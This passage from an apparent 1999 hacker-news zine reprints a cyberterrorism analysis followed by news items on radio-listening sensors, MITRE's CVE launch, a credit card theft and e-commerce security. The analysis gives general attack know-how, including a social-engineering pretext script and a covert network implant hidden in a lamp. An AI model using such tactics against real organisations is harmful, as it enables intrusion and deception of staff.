and to unnerve corporate security. Given the huge number of people working as
programmers for the online economy (the technical side of which requires much
the same skills as those required by a hacker), the totals are sure to rise.
According to the Center for Research on Electronic Commerce at the University
of Texas, in 1998 the Internet economy was worth US$301.4 billion, providing 1.2
million jobs in the USA alone.
The minimum skill-set needed to be a 'script-kiddy' is simply the ability to read
English and follow directions. Indeed, much can be gleaned from books or
documents and mailing lists online such as 'L0pht' bulletins and 'Phrack', whilst
exploits can be learned from websites such as 'bugtraq', 'rootshell' or
'packetstorm'. In fact, virus-writing and exploit code is common, and some is
even automated.
However, to launch a sophisticated attack against a hardened
target requires three to four years of practice in C, C++, Perl and
Java (computer languages), general UNIX and NT systems
administration (types of computer platform), LAN/WAN
theory,remote access and common security protocols (network
skills) and a lot of free time. On top of these technical nuts and
bolts, there are certain skills that must be acquired within the cracker
community.
'Hi, I'm Cheryl, I'm new in IT support. I'm having trouble with the modem bank.
Can you check the modem to make sure it's turned on? Also, can I have the
number to make sure I'm using the right one?' Of course, being a diligent and
helpful worker, the recipient of such a call may be only too happy to help.
Tools of the trade
The cracker skillset is more common in highly educated individuals taught in the
USA and Western Europe, although anyone with enough intelligence and time
can pick it up without formal schooling. In fact, the skills are not at all rare or
unusual, being the same as those required for an average, small or
medium-sized company network system administrator: a position which
commands among the lowest pay in the computer industry. The chances are
that there is a university drop-out in your town with all of these prerequisites. That
said, a list of qualifications does not fully explain their make-up, as the skillset is
more to do with lifestyle than specific capabilities. Some people collect baseball
cards; others analyse [computer network] protocols.
Attacks happen in various guises, from the simple and automated to the highly
disguised and sophisticated. Crackers also write their own tools, which are
disseminated in the underground. Certain system diagnostic tools and other
cracker script tools can significantly automate the process of cracking less
secure systems. At the low end of the sophistication scale there are activism
websites, such as 'Floodnet', which hold web-page functionality that automates
the process of reloading another website's pages in an attempt to make the
system 'overheat' so that it ceases to work. This is a form of the most common
exploit, Denial of Service (DoS), which comes in many forms. It is most common
due to webmasters and web server administrators creating poorly written
Common Gateway Interface (CGI) scripts (website programming). Exploiting the
poorly written code is no great feat. In the words of one hacker: "Any punk kid
could do this to any organisation without any trouble whatsoever."
Computer specialists suggest that, while annoying, such unsophisticated DoS
attacks have a hidden danger: they could mask the use of specialist software
custom-written by an �lite cracker amid the noise of the barrage of multiple
automated attacks. Other tools exist that are designed by the hacker
community, such as BO2000, which was specifically created to embarrass
Microsoft's Windows NT security. In fact, the size of the black market in software
(computer programmes) is enormous. Not only can exploit tools be procured in
this manner, but they can easily be found online.
Social engineering
Social engineering is a term describing the process whereby crackers engineer a
social situation that allows any potential cracker to obtain access to an
otherwise closed network. This access could either be permanent (infiltrating an
insider into the organisation who enables outside access), or temporary. Indeed,
the scenario has a stunning simplicity about it: "Hi, I'm Cheryl. I'm new in IT
support. I'm having trouble with the modem bank. Can you check the modem to
make sure it's turned on? Also, can I have the number to make sure I'm using the
right one?" Of course, being a diligent and helpful worker, the recipient of such a
call is only too happy to help.
Most previous instances of information technology (IT) security violations have
been attributable to 'inside jobs', which is why there has been significant
controversy recently about US concerns hiring foreign programmers to rectify
Y2K issues.
Having gained access, a cracker can either install code directly
into the systems on the spot or add a transmitter device. To
illustrate a scenario, after gaining access to a facility as cleaning
staff, the perpetrator could put a small computer, itself connected
to the main network, into the base of a lamp with an infra-red port
(network connection) aimed out the window of an office or linked to
a mobile phone. This gives an active presence on the target network and, more
importantly, remote access to the device from anywhere within line of sight. In
commercial environments, the security teams that search for bugs (bugs in the
classical sense - 'listening devices') with receivers do not generally do infra-red
profiles of a building; such a device will not transmit unless active, so sweeping
for it is more difficult than trying to detect a bug that is monitoring audio.
Cellular modems also work, but are potentially detectable by radio-frequency
sweeps. However, for corporate espionage it is an easy matter to pre-position
several such systems and then take advantage of security vulnerabilities to gain
permanent entry to the system. The phone company makes entry easy if the
location is near a residential area as a receiving mobile phone just needs to be
plugged into the network interface (telephone connection) of any house. Such
attacks are not new, but the scale of machines necessary to realise them is
down to 4in2 of PC board for an amateur willing to spend a little time shopping in
the back of a technology magazine. "For less than US$1,000 you could build
such systems and disguise them as appliances like lamps," said Paul Roberts,
a US-based information security (INFOSEC) specialist.
Espionage on other computers by remotely monitoring the electro-magnetic (EM)
signals they emit whilst in use is possible today, albeit expensive. Figures of
$35,000 are quoted as estimates for a remote monitoring station in a van, for
example, although the cost is coming down. "EM snooping technology might
very well come into the reach of the advanced information security hobbyist or
the determined criminal in the next five to 10 years," said Markus G Kuhn from
the Computer Laboratory at Cambridge University in the UK.
Cracking: methods
Exploits come mainly in three species: DoS; destruction of information (erasing);
and corruption of information (spoofing).
As indicated previously, DoS attacks take the form of overloading the processes
of the computer hosting the website (the server), which then shuts itself down.
Recently, a new form of such attacks has become prevalent - the 'distributed
co-ordinated attack' - in which thousands of servers are used in unison. "It's
possible to detect the attack, but it is very hard to block it using current
software," said Thomas Longstaff, senior technical researcher for the Software
Institute at Carnegie Mellon University. However, a co-ordinated attack to bring
down a government's or a corporation's computer systems cannot be maintained
long enough to be little more than a nuisance. Yet while only annoying at the
moment, as interconnectivity increases and the importance of the online
economy becomes manifest, such exploits will have serious financial
implications. That said, recovery from such an attack tends to be fast.
Erasing is considered very difficult to conduct because any system worth
attacking is also worth backing up. UK and US interbank transactions are
backed up daily with multiple remote tapes, so any cracker wanting to destroy
the interbank market will cause the loss of at most one day's transactions.
However, this is not without consequence: consumer confidence in the banking
system might drop to unprecedented levels were exploits to be publicised.
Viruses are a form of erasure most computer users are familiar with. Indeed, as a
teenager Robert Morris accidentally launched a virus that shut down most of the
Unix-based computers in the USA in the 1980s. Much can be said for judging the
security implications of information technology by the fact that virus protection is
now standard on any company computer. A good thing too, as 1999's 'Melissa
virus' was the first of a new generation of Microsoft-targeted viruses that are
self-replicating by sending themselves forward in an email entitled 'Important
message from . . .' to the people listed in a person's Outlook Express email
package without their knowledge. The 'Bubbleboy' virus promises to be worse, as
you just have to receive it to be affected. Erasing attacks can be guarded against
through multiple, remote (in both geography and network topology) back-ups,
taken at sufficient frequency that the maximum possible loss is bearable for the
system (the 'safe frequency'). Any system for which the safe frequency is too low
for the defence to be practical (such as a power grid) tends be kept remote from
networks, although this is not always the case.
Yet for every solution there is a problem. The effectiveness of back-ups can be
circumvented by malicious programming that corrupts one random byte in the
data; even though the back-ups look good, the data is bad. There is no way of
telling unless the whole tape is recovered to find the one or two data files that
have changed and examining them 'with a microscope'. The problems are obvious
if someone had 10 weeks of back-ups, each with different bits of bad data, and
all the back-ups were infected. There would be no way to know which data was
good and which was bad. Indeed, if the cracker knows enough about the system
he/she is attacking, recovery may be impossible.
Spoofing is much more difficult to guard against. This kind of attack comes in
two guises: attempts to create phoney records or phoney messages in a system
(such as creating false bank accounts); or attempts to create phoney
instructions to the processing system, causing a failure of the system. This is as
bad as an erasing attack. The easiest way to defend against non-destructive
spoofing is again to use back-ups and to operate double-entry book-keeping,
which traces every record to its creation and requires consistency between
numerous (again, preferably topologically remote) sources. This multiplies the
difficulty of an attack as the attacker has to break several systems instead of
just one. By appearing to be a user, however, a cracker could manipulate data or
corrupt the hardware by installing a virus, for example. While this would not be
quite like a bomb going off, it could have much worse long-term repercussions.
The Internet Auditing Project
Host count: 36,431,374
Vulnerability count: 730,213
Vulnerable host count: 450,000
Destructive spoofing aimed at the processor rather than its records is a different
matter. Causing the processor to execute phoney instructions could allow an
attacker to erase records, transmit phoney messages and, potentially, cover
his/her tracks well enough to escape consistency checks. This kind of attack is
more difficult than any other - usually the only way to get another machine to
execute rogue instructions is to exploit 'buffer overflows', overloading the
temporary data buffer on computers.
Nightmare scenarios are based on such attacks. "We could wake one morning
and find a city, or a sector of the country, or the whole country having an electric
power problem, a transportation problem or a telecommunication problem
because there was a surprise attack using information warfare,'' claims Richard
Clarke, the US National Security Council adviser who heads counterterrorism
efforts. Whilst alarmist, precedents do exist, as evidenced by Gail Thackaray,
recognised as one of the premier cracker-catchers in the business: "One hacker
shut down a Massachusetts airport, 911 emergency service and the air traffic
control system while playing with the municipal phone network, and another
hacker in Phoenix invaded the computer systems of one of the public energy
utilities, attaining 'root' level privileges on the system controlling the gates to all
the water canals from the Grand Canyon south." These examples involved
individuals rather than organised groups, and none of them were politically
motivated.
Cyberterrorism?
In warfare as well as in business, IT is the great equaliser. Its low financial barrier
to entry relative to heavy industry allows even the poorest organisations an IT
effectiveness equal (or nearly equal) to large corporations.
The greatest advantage the covert warfare arms of major
nation-states (such as the CIA or Mossad) have over small
terrorist organisations is the financial wherewithal to
develop massive intelligence networks using the best
equipment. IT levels the playing field in this regard.
Because sensitive military computers are required to be kept as far away from
the Internet as possible, unless there was some major oversight or an incidence
of social engineering, a military system cannot be directly attacked. However,
there is always a weak link in the chain: for example, an army depends on
Vendor A for supplies/ equipment, and Vendor A depends on parts from Vendor
B, and so on. Somewhere in that chain is a vulnerability due to the massive
networks, technological dependence and just-in-time ordering systems. Indeed,
although direct attacks on critical infrastructure are unlikely, if on a network that
has a link into it elsewhere, then one vulnerability is all it takes. Strikes in one
automotive plant have effectively shut down large car makers. Most US
automotive plants are also government contractors supplying vehicles and
replacement parts to the military: an obvious target for planting viruses during
war.
Some people collect baseball cards, others analyse protocols
Cyberterrorism is not only about damaging systems but also about intelligence
gathering. The intense focus on 'shut-down-the-power-grid' scenarios and tight
analogies with physically violent techniques ignore other more potentially
effective uses of IT in terrorist warfare: intelligence-gathering, counter-intelligence
and disinformation.
Disinformation is easily spread; rumours get picked up by the media, aided by
the occasional anonymous e-mail. Cracking into a government server and posting
a new web page looks impressive and generates publicity, but cracking into a
government server and reading private email is much more valuable to terrorists.
This gives cyberterrorists valuable details about the thought and operations of
their adversaries, and can aid in planning conventional attacks. Furthermore, if
terrorists can penetrate the security of an enemy organisation's computer
networks, they do not need to do any damage to be militarily effective. Rather,
they can quietly copy information to process at their leisure, without having to
physically smuggle it out of secure facilities. False or misleading information can
be planted in (or deleted from) databases, undermining the effectiveness of
organisations relying on that information. In today's environment, authentication
via strong encryption is still rare and IT makes forgery easy. Credentials can be
forged to fool authorities or the media for purposes of disinformation or to
enhance covert physical activities.
As pointed out by Clifford Stoll in The Cuckoo's Egg, automated 'data mining'
techniques can be used to search for useful patterns in vast stores of insecure
and seemingly unrelated data. A bank may assume its electronic fund transfer
system is the most vital system to protect, but a terrorist may only want access
to the financial records of persons or groups that are the bank's customers. This
may not even involve destruction of data, as the pure information is often much
more valuable than simply destroying random records. Reconnaissance attacks
such as these are difficult to stop but extremely damaging. In the long-term
banking scenario, the terrorist may simply choose to track sources of funding
based on deposit records to harm the person or group who is the target. In a
situation like this, going into the bank to destroy the information is only a
temporary setback and will raise attention. Why destroy a valuable point of
information gathering by doing something short-term like disrupting operations?
Nevertheless, for the terrorist, cracking might be used for
more than just destroying data. Attacking an information
system would be a good way to either distract the target
or otherwise enable the terrorist to perform a physical
attack. An example might be to crack into an airline and
delete transport manifests to cover the transport of illegal
materials. Had Shoko Asahara and the Aum Shinrikyo group been able to crack
the Tokyo power system and stop the subways, trapping passengers on the
trains, the number of casualties caused by their 1995 Sarin gas attack might
have been significantly larger. If a determined group wanted to bring New York to
its knees, what better way than to combine a physical bombing campaign with
simultaneous IT attacks on the power grid, hospitals, emergency services and
the media?
Turning to the larger picture, in warfare the party that runs out of funds first loses.
Thus, the objective of warfare may not just be to inflict as much
physical damage as possible, but instead be to maximise
financial damage. The Irish Republican Army (IRA) learnt
to use this concept very effectively in recent years,
sufficiently occupying the resources of the British
government through infrastructural attacks (as opposed to
direct attacks against people). This suggests that, in the future, stock markets or
other primary financial institutions might become high-profile targets and the
most effective means of accomplishing a terrorist's goal. More damage would be
accomplished by taking the New York Stock Exchange offline for a few days
rather than actually bombing a building. That said, financial institutions are one of
the few parties recognised in the hacker community for taking their security very
seriously indeed.
Given the predominance of the IT-based industry and the familiarity of the Internet
in the USA and Western Europe, the terrorist groups that fit the motive and
mindset to use cracking could be closed religious or fanatical groups whose
value systems are so out of sync with the mainstream that they feel threatened
enough to take as much of the world with them as they 'go under'. That, together
with 'lone gunmen' and activism campaigns - 'hacktavism' - are scenarios that
appear to fit the profile.
A Pakistani Internet hacker known only as 'Dr Nuker', for example, has a
message for Americans: he and a cybercohort, one 'Mr Sweet', have not yet
begun to fight. The idea of Third World cyberpunks threatening the planet's sole
superpower might seem unlikely - unless, of course, you run Internet sites at
Lackland AFB or 86 other facilities their group that the 'Pakistan Hackerz Club'
(PHC), has struck in the past five months.
The PHC's self-described founder and perhaps the world's most prolific Web
cracker today, Dr Nuker admits he's a revolutionary, a 'cyberterrorist' with a
cause: freedom for Indian-controlled Kashmir. Yet by penning anti-Indian
missives on Internet sites run by the Naval Reserve Maintenance Facility in
Ingleside, the Karachi Stock Exchange and even the Disney Guide, Dr Nuker not
only has become a high-profile 'hacktivist' - a computer cracker with a political or
social goal - but a wild card who hints he can wreak havoc far from home.
"We don't have any intentions to compromise any sort of military or governmental
database, but in case there will be a cyber war with Pakistan, then we will sure
prove our knowledge, ability and skills," he warned in an e-mail message. It may
be no idle boast.
Today, employers, even those running critical infrastructure, are hard-pressed to
not give employees Internet access; 401k retirement plans, health insurance
plans and others are starting to mandate it. Most employees are on insecure,
poorly administered, unreliable desktop operating systems: the recipe for serious
electronic mayhem.
Beyond the hype
Critics maintain there is no such thing as cyberterrorism, and there is
undoubtedly a lot of exaggeration in this field. If your system goes down, it is
much more interesting to say it was the work of a foreign government rather than
admit it was due to an American teenage 'script-kiddy' tinkering with a badly
written CGI script. If the power goes out, people light a candle and wait for it to
return, but do not feel terrified. If their mobile phones switch off, society does not
instantly feel under attack. If someone cracks a web site and changes the
content, terror does not stalk the streets. Some groups talk of taking down power
grids; while that would help in conjunction with another type of attack, in itself it
would be useless. Most grids suffer infrequent black-outs anyway that are not
terrorist-related. In fact, terrorism campaigns using just computers are unlikely.
The sheer size of programmes works against the attacker more than the
defender. No one person can fully understand a programme comprising over a
million lines of code, especially if he/she did not write it, and the defender has
more people available. Critical programmes that run infrastructure functions, such
as traffic lights, are usually custom-written, making them twice as difficult to
attack.
Any system put together in the last few years will have been implemented with
security in mind. Ironically, Y2K could prove to be a boon, as audits will give
detailed reports on exactly what is in a system and this information can be used
to boost security.
Most security-aware organisations do not put highly sensitive (such as military or
corporate) data on servers that are accessible via the Internet and design their
Internet servers to be disposable and easily reinstalled from compact disc (CD)
or tape. These organisations also typically keep their servers in restricted-access
areas. Most organisations with sensitive data also keep off-site back-ups.
Write-once CDs are becoming very popular as they are inexpensive, compact
and convenient to restore from. To cause serious and lasting damage, a terrorist
would need to destroy or corrupt not only the contents of the servers, but also
the off-site back-ups.
Reality bytes
In theory, cyberterrorism is very plausible, yet in reality it is difficult to conduct
anything beyond simple 'script-kiddy' DoS attacks. Terrorists attempting to sway
a populace by fear would therefore be less interested in such an attack unless
they could carry out an extremely damaging one on a repeatable basis or unless
they used it to augment the effects of a physical attack.
As things stand, while a terror attack using crackers is potentially highly
destructive, the psychological impact of the disruption of services is still much
lower than that of a direct physical attack.
Johan J Ingles-le Nobel is Deputy Editor of JIR, having previously obtained his
Masters at St Andrews University. He gratefully thanks the contribution and
advice of people at Slashdot.org.
@HWA
17.0 Car Radio Listening Habits Being Gathered
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Think your safe from the prying eyes of the data
collector when you're peacefully driving your car and
listening to the radio? Think again. New technology
being tested in Atlanta, Toronto, Los Angeles and
Phoenix can remotely determine what radio station you
are listening to in your car. Small shoebox-size
electronic sensors posted on billboards and light poles
can listen to the signal from the oscillator in the car
radio, determine the frequency and log the information
in a central database. This information is then made
available to subscribing radio stations in real time to
help in determining ratings numbers. (Even though this
system does not collect demographic data, can't
collect AM yet, and doesn't listen to homes or
businesses, it is still scary as hell.)
The Atlanta Journal Constitution
http://www.accessatlanta.com/partners/ajc/newsatlanta/radio/index.html
Getting with the program
WCNN to debut as issue-oriented
talk radio geared to Atlanta's
black audience
We've got rock, rap,
country, salsa and
smooth jazz. But come
April 3, Atlanta will have
a new radio format -
black news/talk.
That's when Midwestern
Broadcasting, owner of
adult R&B station Kiss
104.7, will take over
programming of
WCNN/680 AM from Cox Radio and
launch a 24-hour news/talk station aimed at
Atlanta's African-American community.
According to Midwestern Vice President
David Dickey, the station will emphasize
local programs rather than syndicated
shows, and focus on issues such as
education, government, health care and the
economy.
In the next few weeks, the company will
announce the station's new name, unveil a
logo and begin hiring on-air talent.
The takeover will end WCNN's lineup of
news/talk shows, including Tom Hughes in
the morning, the syndicated G. Gordon
Liddy show at midday and Neal Boortz
producer Royal Marshall's talk show in the
afternoon.
"I don't think Neal [Boortz] or Dr. Laura
[Schlessinger] are focused on the needs
and issues of the average
African-American listener," Dickey said,
referring to popular programs on news/talk
stations WSB-AM and WGST-AM/FM.
"If we are here to serve the black
community, programming has to originate
from that community. If you had to pick any
city in America to support this effort, Atlanta
is the city to do it."
According to Arbitron, the company that
provides radio ratings, 769,000 of Atlanta's
3 million radio listeners ages 12 and older
are black.
As news of the venture trickled into the
radio community Tuesday, many industry
observers seemed to believe that a black
news/talk station would be a savvy addition
to Atlanta's increasingly competitive and
lucrative radio market.
At 50,000 watts in the daytime and 10,000
watts at night, WCNN is the
second-strongest AM signal in town,
behind WSB.
"Oooh, that's smart," said Star 94 general
manager Mark Kanov upon hearing the
news. "A market like Atlanta would certainly
have a strong core for a station like that. On
the surface, it seems like it would have a
very strong appeal."
"It's what I would do if I owned the station,"
said Andrew Saltzman, general manager of
Sportstalk 790/The Zone. "Talk radio is a
booming format, and that's a
[demographic] that's not truly being catered
to. Why shouldn't the urban community have
full-service talk radio?"
Black news/talk is not a new idea. The
format has been successfully adopted by
WOL in Washington and WLIB in New
York. But because there was usually only
one per community, urban radio stations
have not broken into niche formats as
quickly as stations geared to white
audiences.
For example, V-103, Atlanta's top-rated
urban station, was the only major FM
station catering to the African-American
audience until 1992, when Kiss 104.7
signed on the air. V-103 morning host
Frank Ski explained how such exclusivity
affected the listening habits and
expectations of the black radio audience.
"For a long time, the lack of radio stations
available to minorities meant we didn't
have a second or third choice when it came
to radio," Ski said. "That made the black
community begin to like a whole package
of things [on one station].
We want to hear music, hear something
funny and be informed. Black talk can be
good for the market if it's done right. The
difficulty is that because we haven't really
had it, there's not a lot of good, available
talent to do it. They will be competing with
the white news-talk stations, so they really
need to have their game together."
Midwestern Broadcasting, which is owned
by the Dickey family, has specialized in
creating formats for the African-American
community, such as the adult R&B of Kiss
104.7 and the contemporary gospel of
Glory 1340 AM. However, some have
raised questions as to whether white
management is politically or socially
motivated.
Ryan Cameron, morning man at rap station
Hot 97.5, wonders whether Midwestern will
take the new station into the community as
much as he or Ski do with their shows.
"Anything that's going to make the market
more interesting is definitely a plus,"
Cameron said. "It's great to raise issues
and talk, but how visible will they be?
It's not like they got new owners. I'll be
curious to see how much involvement there
will be in the community other than
monetary."
Dickey doesn't believe that a black
news/talk station with white ownership will
cripple its chances of success.
"Race has nothing to do with it, it just
makes good economic sense," he said.
"Sure, we're trying to make a buck off this.
But more important, we've been able to
provide a choice for African American
listeners in Atlanta.
As a broadcaster, it's my responsibility to
research the market and find the
opportunties that are there. We have two
well established radio stations in Kiss and
Glory, and this is an extension of that niche.
I don't care if you're white, black, Chinese,
male, famale, young or old, it doesn't make
sense to go up against established
stations like WSB or WGST. [A black
news/talk station] complements our
package.
We can cross-promote each station with
the other two. We can utilitze people who
appear on one and put them on the other."
The transaction does not involve the sale of
680 AM, rather a switch in who is calling
the shots about what is on the air. For five
years, Midwestern Broadcasting, which
owns the frequency, has leased 680 AM to
Cox Radio, owner of news/talk giant
WSB-AM (750).
Cox Radio has spearheaded
programming, first as a sports-talk station
(680/The Fan), then turning WCNN into a
news/talk station in 1997. The lease
between the two companies expires April
2.
According to Marc Morgan, co-chief
operating officer of Cox Radio, the
decision to end the arrangement was
mutual.
"When we made this [leasing] deal five
years ago, it made great sense at the time
and served the purpose it was meant to
serve," he said. "There's definitely a hole in
the market for a black talk station, and I
think it's a good idea. ... I haven't heard it
yet, so I couldn't even begin to speculate on
what effect, if any, it would have on any
other station in town."
@HWA
18.0 CVE by Mitre Goes Online
~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
The Common Vulnerabilities and Exposures database run
by Massachusetts defense contractor Mitre has gone
online. The database hopes to help standardize
computer security terms and set a common vocabulary
for building more secure systems. The database hopes
to contain all known system vulnerabilities. (It is unlikely
that any of the big 5 security companies will give up
new vulnerabilities that only they know about for their
competitors to find in this database. The database is
already missing some key advisories that have been
publicly released.)
The Boston Globe
http://www.globe.com/dailyglobe2/335/business/Handle_on_hackers%2b.shtml
Common Vulnerabilities and Exposures Database
http://www.cve.mitre.org/
Handle on hackers
Bedford firm seeks security standard with
software-weakness list
By Ross Kerber, Globe Staff, 12/01/99
BEDFORD - Before the invention of the periodic table in 1869, chemists
struggled to put elements such as hydrogen and lithium into a coherent
classification scheme.
Today, parts of the field of computer science now seem stuck with the same
lack of organization. In particular there is little agreement among software
security specialists on just how to classify the sections of computer code that
are often targeted by hackers.
Government and academic groups have attempted to categorize these
software Achilles' heels for years, to little commercial enthusiasm.
But now some steam is gathering behind a project run by Bedford-based
Mitre Corp. to create a simpler listing of weaknesses. The project doesn't try
to classify codes and other security problems into families or types, but only
to list them as part of what Mitre calls a directory of ''Common Vulnerabilities
and Exposures.''
By dumbing down its directory, known as the CVE, Mitre has persuaded 23
organizations including Cisco Systems Inc. and IBM Corp. to participate. The
result can be found on line at www.cve.mitre.org, and executives hope it will
help standardize terms and set a common vocabulary for building more secure
systems.
''The beauty of the approach we've taken is to avoid everybody arguing''
about complicated categorizations, said Steven Christey, a software engineer
at Mitre, a nonprofit government contractor.
His colleague, David Mann, compares the CVE to the lists of individual
elements that were drawn up long before the periodic table was accepted.
''To get things going scientifically we really need to start small,'' Mann said.
''Hopefully it will spawn more categorizations, eventually.''
While software viruses are quickly studied and named, the security
weaknesses they attack vary widely and are far more difficult to classify.
Consider the various names given for a type of code used by many Web sites
known as the ''common gateway interface,'' or cgi, generally used to connect
the site to on-line sources such as telephone directories.
Altering such code can cause big disruptions to the sites, a weakness known
as ''CA-96.06.cgi-example
code'' by CERT, a well-known computer-security center at Carnegie Mellon
University. Meanwhile CyberSafe Corp., an Internet security firm based in
Issaquah, Wash., discusses the same weakness as an ''HTTP `phf' Attack.''
While both continue to use those names, they also have begun to include in
their advisories the name chosen by Mitre for the condition:
''CVE-1999-0067,'' meaning that the problem was the 67th identified under
the CVE effort this year.
Eventually they might drop their own terminologies altogether, said Bill Fithen,
a CERT security analyst. ''If CVE catches on, there might truly be no
legitimate reason to continue'' using older names, he said.
For Mitre, CVE represents a chance to show off the commercial benefits of
its work for government agencies. Founded in 1958 by a group of
researchers formerly associated with MIT's Lincoln Laboratories, Mitre has
chiefly been known as a contractor on aerospace and classified military
projects, with offices from Fort Leavenworth, Kan., and Washington, D.C.,
to Seoul.
The company also has branched out into the civilian sector and now runs
research centers for the Federal Aviation Administration and the Internal
Revenue Service. In 1996 Mitre spun off divisions that did research in space,
environment, and telecommunications. It still has about 4,000 employees
worldwide and reported revenue of $542 million for its latest fiscal year.
At the behest of the Pentagon, Mitre several years ago began research in
areas of ''critical infrastructure protection''; 15 of the company's employees
now are involved in a FBI anti-hacking center in Washington, D.C.
The CVE is rooted in such work, dreamed up by Mann after he was assigned
last year to create a database to protect the company's computers.
Mann wanted to automatically compare alerts issued by CERT and other
security groups with an analysis of traffic on Mitre's computers, but Mitre's
programmers were using different terms. ''I realized we needed a way to put
these things together,'' said Mann, 37, who holds a doctorate in mathematics
and once taught at a US Navy postgraduate program in California.
Mann developed the idea with Christey, 32, a senior software engineer, and
last January they presented a paper at a conference at Purdue University in
Indiana, sparking broader commercial interest.
Now many attendees of that conference are members of CVE's 25-member
editorial board made up of software vendors, analysts, and academics, and
headed by Christey. So far the group has agreed to assign numbers to about
320 vulnerabilities, and hopes to get to 665 by the end of the year.
Like many business consortiums, the CVE board also includes members who
aren't so enthusiastic. Some worry their competitors will learn their secrets.
''CVE will only contain vulnerabilities that are old or not interesting,'' said
Marcus Ranum, chief executive of closely held Network Flight Recorder in
Woodbine, Md. To monitor possible breakthroughs Ranum has assigned an
employee to join the CVE board, which holds conference calls periodically to
discuss new entries. But the board member won't give away too much,
Ranum says.
''It puts me in a delicate spot as a vendor,'' he said. ''If I were going to make
CVE useful I'd give all my information to CVE. But then my competitors
would have it and my shareholders would kill me.''
But other CVE participants say they hope the list will demystify their work to
corporate customers and boost sales.
''Generally people can get pretty confused when you try to sell them
software,'' said Andre Frech, a researcher at Internet Security Systems in
Atlanta, which recently began including CVE numbers in a detection
database.
Internet Security Systems' founder, Christopher Klaus, says the CVE might
someday even become the basis of ''hacker insurance'' policies for companies
to minimize the impact of technical disruptions. Without CVE or something
like it, he said, ''it would be hard even to set the premiums ... because people
couldn't be specific enough about what they might be selling.''
If CVE catches on, it will please specialists who have tried to develop more
complex classification schemes with little notice, like Eugene Spafford, a
computer scientist at Purdue who ran the conference where Mann and
Christey first presented their paper.
Four years ago Spafford began building his own open database of computer
security flaws, but found few companies could agree on organizing criteria. In
contrast, he said, CVE has already achieved ''a lot more buy-in than has
happened in the past.''
This story ran on page C01 of the Boston Globe on 12/01/99.
� Copyright 1999 Globe Newspaper Company.
@HWA
19.0 Novell Head Victim of Online Credit Card Theft
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
Novell chief Eric Schmidt has admitted that he has been
the victim of credit card theft. Speaking at San
Francisco's Digital Economy conference he blamed the
theft of his personal information on browser cookies. He
labeled cookies as "the biggest disaster for computers in
the past [few] years."
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2403346,00.html?chkpt=zdnntop
Novell chief's credit card stolen online
Eric Schmidt blames cookies for cyber theft --
calls cookies 'one of the biggest disasters for
computers.'
By Ben Elgin, Sm@rt Reseller
UPDATED December 2, 1999 3:26 PM PT
Novell chief Eric Schmidt knows firsthand the
problem of Internet fraud.
Speaking at San Francisco's Digital Economy conference
Thursday, Schmidt informed the crowd that his credit card
number had been stolen over the Internet in the past.
Although he isn't sure exactly how his card number was
lifted, Schmidt says he believes it was through a
mechanism that reads the cookies-files sitting on a user's
desktop and storing personal information, such as
passwords and preferences.
"Cookies are one of the biggest disasters for computers in the
past [several] years," says Schmidt, citing the lack of
security and the blatant breach of consumer privacy.
As Novell's chairman and CEO,
Schmidt is trying to oust cookies with his company's new
"digitalme" online identification-management service.
Based on Novell Directory Services technology, digitalme
is aiming to store and consolidate a user's multiple
passwords, address books, favorites lists and purchasing
preferences.
"Cookies are a great idea, [but] they are just stored in the
wrong place," says Schmidt.
Schmidt's brush with cyber thieves may have left him
wary, but not a whole lot poorer. "My liability was $50 ...
[but] I'm not sure what the credit card company's liability
was." he says
@HWA
20.0 IDC Says E-Commerce Unsafe Most of the Time
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Deepquest
The most recent Technology Integration Panel Study,
conducted by International Data Corporation paints a
grim picture of online security. Consumers have worried
about the security of their online transactions, and this
study seems to justify those fears. The study, entitled
E-Commerce Solutions: Customer Directions and
Segmentation by Company Size and Industry" explores
various market segments currently using e-commerce
systems and what the potential is for the future.
(Unfortunately the data for this study is already six
months old and had an extremely small sample size.
Hopefully a more comprehensive study can be
conducted soon.)
South China Morning Post
http://www.technologypost.com/enterprise/DAILY/19991202103702261.asp?Section=Main
Published on Thursday, December 2, 1999
ENTERPRISE
Online transactions are
not all secure, says study
NEWSBYTES
Consumers have worried about the security of their
online transactions, and a new study by International
Data Corporation (IDC) justifies their fears.
According to IDC's most recent Technology Integration
Panel Study, one in five large companies (those having
1,000 or more employees) is likely not to have a secure
transaction option available. In small companies, (10-99
employees) the ratio of firms not having a secure
transaction option rises to one in three.
"Information technology is again changing the business
landscape, offering the potential for better products and
services delivered to corporations, governments, and
consumers alike through the engineering of e-solutions,"
said Carey Azzara, program director of IDC's
"Corporate Computing: Vertical Views" research.
"However, realising this potential is not easy and
certainly not without pitfalls for the vendors trying to
bring the world into this new paradigm."
Mr Azzara emphasised the point that unless companies
have a secure means of accepting payment for a
transaction, whether that transaction is e-retail or
business-to-business, they are not engaging in
e-commerce; rather, they are engaging in e-business,
which is not the same.
"I will pick a secure server all the time," Mr Azzara said
when discussing how payment is be made online. Under
no circumstances, he cautioned, should credit card
numbers be given in a non-secure environment.
In fact he would not accept a secure-transaction logo on
a Web site, but would make sure that the online
merchant's server was really secure with encryption and
authentication capabilities.
Over 40 per cent of the survey's respondents reported
that they paid a premium for better e-commerce system
performance. The study found Microsoft had the largest
hold on the market, but Netscape, IBM, and Oracle
were seriously considered by 25 per cent of the
responding companies.
The full study, entitled "E-Commerce Solutions:
Customer Directions and Segmentation by Company
Size and Industry", explores the market segments
currently using e-commerce systems and how the
potential for future business is shaping up.
The study, conducted during July 1999, sampled 974
US and Canadian companies, stratified by size and
industry, and was weighted to reflect information and
communication technology of each marketplace.
Mr Azzara said consumers should "go ahead, make the
phone call" when passing over credit card information
unless the security of the site was established.
The message of the survey, he said, is: "Buyer beware!
Don't be a victim."
Additional information about IDC is available at
www.idc.com.
Copyright (c) Post-Newsweek Business Information, Inc.
All rights reserved.
@HWA
21.0 Attack Trees Help to Model Security Threats
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
With new security weakness showing up on a daily basis
how do you model threats against computer systems?
Bruce Schneier has come up with a formal methodology
for analyzing the security of systems and subsystems,
